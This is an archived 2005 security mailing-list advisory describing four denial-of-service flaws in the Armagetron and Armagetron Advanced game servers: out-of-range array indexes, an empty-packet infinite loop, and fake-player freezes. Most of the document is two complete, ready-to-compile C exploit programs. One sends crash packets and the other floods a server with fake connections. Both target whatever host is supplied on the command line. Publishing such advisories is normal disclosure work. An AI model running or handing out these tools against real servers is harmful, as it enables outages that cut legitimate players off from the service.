[NT] Armagetron DoS

From: SecuriTeam (support_at_securiteam.com)
Date: 02/14/05

  • Next message: SecuriTeam: "[NT] Microsoft Internet Explorer createControlRange() Memory Corruption"
    To: list@securiteam.com
    Date: 14 Feb 2005 17:38:32 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Armagetron DoS
    ------------------------------------------------------------------------

    SUMMARY

     <http://armagetron.sourceforge.net> Armagetron is "the well known and
    played opensource multiplayer game developed by Manuel Moos. Recently the
    project Armagetron (until version 0.2.6.0) has been declared dead and is
    unofficial successor is <http://armagetronad.sourceforge.net> Armagetron
    Advanced".

    Due to multiple vulnerabilities in Armagetron a remote attacker can cause
    the program to no longer respond to legitimate requests or to completely
    crash.

    DETAILS

    Vulnerable Systems:
     * Armagetron version 0.2.6.0 and prior
     * Armagetron Advanced version 0.2.7.0 and prior

    Large descriptor ID DoS:
    The game uses an array of 400 descriptors, but clients can pass their
    descriptor ID using a 16 bits number (allows supplying a number in the
    range of 0 to 65535). In short a packet with an ID above the 400 is able
    to crash the server due to the access to an unallocated section of the
    array.

    Large claim_id DoS:
    Just like the bug described above, a user can control a 16 bit value that
    points to an array of 18 elements (this is inside the ANET_AddrCompare()
    function).

    Unreacheable Socket by Sending an Empty Packet:
    The game utilizes asynchronous sockets through the FIONREAD function. The
    FIONREAD function returns the number of bytes received in the last packet
    (0 if there are no new packets). If the server receives an empty UDP
    packet it will continue to check the socket's queue infinitely since there
    are still 0 bytes and in the meantime it will not handle any other
    packets, causing all connected clients to disconnect.

    Fake Players Causing Temporary Freeze:
    Connecting to the server multiple times and not sending data (timeout)
    will cause the server to freeze.

    Exploit:
    atronboom:
    For the first 3 vulnerabilities, the following exploit code can be used:
    /*

    by Luigi Auriemma - http://aluigi.altervista.org/poc/atronboom.zip

    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <time.h>

    #ifdef WIN32
        #include <winsock.h>
        #include "winerr.h"

        #define close closesocket
    #else
        #include <unistd.h>
        #include <sys/socket.h>
        #include <sys/types.h>
        #include <arpa/inet.h>
        #include <netinet/in.h>
        #include <netdb.h>
    #endif

    #define VER "0.1"
    #define BUFFSZ 2048
    #define PORT 4534
    #define TIMEOUT 3

    #define SEND(x) if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr
    *)&peer, sizeof(peer)) \
                      < 0) std_err();
    #define RECV if(timeout(sd) < 0) { \
                        fputs("\nError: socket timeout, no reply
    received\n\n", stdout); \
                        exit(1); \
                    } \
                    len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \
                    if(len < 0) std_err();

    void show_info(u_char *data, int len);
    int timeout(int sock);
    u_long resolv(char *host);
    void std_err(void);

    int main(int argc, char *argv[]) {
        struct sockaddr_in peer;
        int sd,
                len;
        u_short port = PORT;
        u_char buff[BUFFSZ],
                info[] =
                    "\x00\x35"
                    "\x00\x00"
                    "\x00\x00"
                    "\x00\x00",
                pck[] =
                    "\x00\x06" // ID
                    "\x00\x26"
                    "\x00\x01"
                    "\x00\x04"
                    "\x00\x00"; // peers[claim_id]

        setbuf(stdout, NULL);

        fputs("\n"
            "Armagetron / Armagetron Advanced <= 0.2.7.0 server crash "VER"\n"
            "by Luigi Auriemma\n"
            "e-mail: aluigi@autistici.org\n"
            "web: http://aluigi.altervista.org\n"
            "\n", stdout);

        if(argc < 3) {
            printf("\n"
                "Usage: %s <attack> <host> [port(%d)]\n"
                "\n"
                "Attack:\n"
                " 1 = crash caused by big descriptor ID\n"
                " 2 = crash caused by big claim_id\n"
                " 3 = socket unreacheable through empty packet\n"
                "\n", argv[0], port);
            exit(1);
        }

    #ifdef WIN32
        WSADATA wsadata;
        WSAStartup(MAKEWORD(1,0), &wsadata);
    #endif

        if(argc > 3) port = atoi(argv[3]);

        peer.sin_addr.s_addr = resolv(argv[2]);
        peer.sin_port = htons(port);
        peer.sin_family = AF_INET;

        printf("- target %s : %hu\n",
            inet_ntoa(peer.sin_addr), port);

        sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
        if(sd < 0) std_err();

        fputs("- retrieve informations:\n", stdout);
        SEND(info);
        RECV;
        show_info(buff, len);

        fputs("- send BOOM packet\n", stdout);
        switch(atoi(argv[1])) {
            case 1: {
                *(u_short *)pck = htons(0xffff);
                SEND(pck);
                } break;
            case 2: {
                *(u_short *)(pck + sizeof(pck) - 3) = htons(0xffff);
                SEND(pck);
                } break;
            case 3: {
                SEND("");
                } break;
            default: {
                fputs("\nError: wrong type of attack selected\n\n", stdout);
                exit(1);
                }
        }

        fputs("- check server:\n", stdout);
        SEND(info);
        if(timeout(sd) < 0) {
            fputs("\nServer IS vulnerable!!!\n\n", stdout);
        } else {
            fputs("\nServer doesn't seem vulnerable\n\n", stdout);
        }

        close(sd);
        return(0);
    }

    void show_info(u_char *data, int len) {
    #define SHOW(x) sz = *(u_short *)data; \
                    data += 2; \
                    if(sz > 1) printf(x "%s\n", data); \
                    data += sz + (sz & 1);
        u_short *ds,
                sz,
                players;
        u_char *p,
                *p1;

        ds = (u_short *)data;
        for(len >>= 1; len--; ds++) {
            *ds = ntohs(*ds);
        }
        fputc('\n', stdout);
        data += 14;
        SHOW(" Hostname ");
        players = *(u_short *)data;
        data += 12;
        SHOW(" version ");
        data += 4;
        sz = *(u_short *)data;
        data += 2;
        printf(" %d players:\n", players);
        for(p = data; players--; p = p1 + 1) {
            p1 = strchr(p, '\n');
            if(!p1) break;
            *p1 = 0x00;
            printf(" - %s\n", p);
        }
        data += sz + (sz & 1) + 4;
        SHOW(" URL ");
        fputc('\n', stdout);
    #undef SHOW
    }

    int timeout(int sock) {
        struct timeval tout;
        fd_set fd_read;
        int err;

        tout.tv_sec = TIMEOUT;
        tout.tv_usec = 0;
        FD_ZERO(&fd_read);
        FD_SET(sock, &fd_read);
        err = select(sock + 1, &fd_read, NULL, NULL, &tout);
        if(err < 0) std_err();
        if(!err) return(-1);
        return(0);
    }

    u_long resolv(char *host) {
        struct hostent *hp;
        u_long host_ip;

        host_ip = inet_addr(host);
        if(host_ip == INADDR_NONE) {
            hp = gethostbyname(host);
            if(!hp) {
                printf("\nError: Unable to resolv hostname (%s)\n", host);
                exit(1);
            } else host_ip = *(u_long *)hp->h_addr;
        }
        return(host_ip);
    }

    #ifndef WIN32
        void std_err(void) {
            perror("\nError");
            exit(1);
        }
    #endif

    atronfp:
    For the last vulnerability, the following exploit code can be used:
    /*

    by Luigi Auriemma - http://aluigi.altervista.org/fakep/atronfp.zip

    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <time.h>

    #ifdef WIN32
        #include <winsock.h>
        #include "winerr.h"

        #define close closesocket
        #define ONESEC 1000
    #else
        #include <unistd.h>
        #include <sys/socket.h>
        #include <sys/types.h>
        #include <arpa/inet.h>
        #include <netinet/in.h>
        #include <netdb.h>

        #define ONESEC 1
    #endif

    #define VER "0.1"
    #define BUFFSZ 2048
    #define PORT 4534
    #define TIMEOUT 3

    #define SEND(x) if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr
    *)&peer, sizeof(peer)) \
                      < 0) std_err(); \
                    fputc('.', stdout);
    #define RECV if(timeout(sd) < 0) { \
                        fputs("\nError: socket timeout, no reply
    received\n\n", stdout); \
                        exit(1); \
                    } \
                    len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \
                    if(len < 0) std_err(); \
                    fputc('.', stdout);

    void show_info(u_char *data, int len);
    int timeout(int sock);
    u_long resolv(char *host);
    void std_err(void);

    int main(int argc, char *argv[]) {
        struct sockaddr_in peer,
                            peerl;
        int sd,
                len,
                on = 1;
        u_short port = PORT,
                *claim_id;
        u_char buff[BUFFSZ],
                info[] =
                    "\x00\x35"
                    "\x00\x00"
                    "\x00\x00"
                    "\x00\x00",
                pck[] =
                    "\x00\x06" // ID
                    "\x00\x26"
                    "\x00\x01"
                    "\x00\x04"
                    "\x00\x00"; // claim_id

        setbuf(stdout, NULL);

        fputs("\n"
            "Armagetron / Armagetron Advanced Fake Player DoS "VER"\n"
            "by Luigi Auriemma\n"
            "e-mail: aluigi@autistici.org\n"
            "web: http://aluigi.altervista.org\n"
            "\n", stdout);

        if(argc < 2) {
            printf("\n"
                "Usage: %s <host> [port(%d)]\n"
                "\n", argv[0], port);
            exit(1);
        }

    #ifdef WIN32
        WSADATA wsadata;
        WSAStartup(MAKEWORD(1,0), &wsadata);
    #endif

        if(argc > 2) port = atoi(argv[2]);

        peer.sin_addr.s_addr = resolv(argv[1]);
        peer.sin_port = htons(port);
        peer.sin_family = AF_INET;

        peerl.sin_addr.s_addr = INADDR_ANY;
        peerl.sin_port = htons(time(NULL));
        peerl.sin_family = AF_INET;

        printf("- target %s : %hu\n",
            inet_ntoa(peer.sin_addr), port);

        fputs("- retrieve informations:\n", stdout);
        sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
        if(sd < 0) std_err();
        SEND(info);
        RECV;
        close(sd);
        show_info(buff, len);

        claim_id = (u_short *)(pck + sizeof(pck) - 3);

        for(;;) {
            sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
            if(sd < 0) std_err();

            if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on,
    sizeof(on))
              < 0) std_err();
            peerl.sin_port++;
            if(bind(sd, (struct sockaddr *)&peerl, sizeof(peer))
              < 0) std_err();

            SEND(pck);
            RECV;
            close(sd);

            sleep(ONESEC);
            *claim_id = htons((ntohs(*claim_id) + 1) & 15); /* useless!!! */
        }

        return(0);
    }

    void show_info(u_char *data, int len) {
    #define SHOW(x) sz = *(u_short *)data; \
                    data += 2; \
                    if(sz > 1) printf(x "%s\n", data); \
                    data += sz + (sz & 1);
        u_short *ds,
                sz,
                players;
        u_char *p,
                *p1;

        ds = (u_short *)data;
        for(len >>= 1; len--; ds++) {
            *ds = ntohs(*ds);
        }
        fputc('\n', stdout);
        data += 14;
        SHOW(" Hostname ");
        players = *(u_short *)data;
        data += 12;
        SHOW(" version ");
        data += 4;
        sz = *(u_short *)data;
        data += 2;
        printf(" %d players:\n", players);
        for(p = data; players--; p = p1 + 1) {
            p1 = strchr(p, '\n');
            if(!p1) break;
            *p1 = 0x00;
            printf(" - %s\n", p);
        }
        data += sz + (sz & 1) + 4;
        SHOW(" URL ");
        fputc('\n', stdout);
    #undef SHOW
    }

    int timeout(int sock) {
        struct timeval tout;
        fd_set fd_read;
        int err;

        tout.tv_sec = TIMEOUT;
        tout.tv_usec = 0;
        FD_ZERO(&fd_read);
        FD_SET(sock, &fd_read);
        err = select(sock + 1, &fd_read, NULL, NULL, &tout);
        if(err < 0) std_err();
        if(!err) return(-1);
        return(0);
    }

    u_long resolv(char *host) {
        struct hostent *hp;
        u_long host_ip;

        host_ip = inet_addr(host);
        if(host_ip == INADDR_NONE) {
            hp = gethostbyname(host);
            if(!hp) {
                printf("\nError: Unable to resolv hostname (%s)\n", host);
                exit(1);
            } else host_ip = *(u_long *)hp->h_addr;
        }
        return(host_ip);
    }

    #ifndef WIN32
        void std_err(void) {
            perror("\nError");
            exit(1);
        }
    #endif

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:aluigi@autistici.org> Luigi
    Auriemma.
    The original article can be found at:
    <http://aluigi.altervista.org/adv/atron-adv.txt>
    http://aluigi.altervista.org/adv/atron-adv.txt

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NT] Microsoft Internet Explorer createControlRange() Memory Corruption"

    Relevant Pages

    • [NT] PacketTrap TFTP Server Denial of Service
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... A vulnerability in the way pt360's TFTP ... int timeout; ... if local_file is equal to %s will be used stdout for upload or ...
      (Securiteam)
    • [EXPL] Cyrus IMAP Server Preauthentification Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... int connect_to; ... #ifdef DEBUG ...
      (Securiteam)
    • [NT] Argon Client Management Services Directory Traversal
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... int timeout; ... u_short port = PORT; ... if local_file is equal to %s will be used stdout for ...
      (Securiteam)
    • [NT] 2X ThinClientServer Directory Traversal
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... int timeout; ... u_short port = PORT; ... if local_file is equal to %s will be used stdout for ...
      (Securiteam)
    • [NT] BootManage TFTPD Buffer Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... is "a TFTP server for Windows implemented in BootManage Administrator". ... int timeout; ... if local_file is equal to %s will be used stdout for ...
      (Securiteam)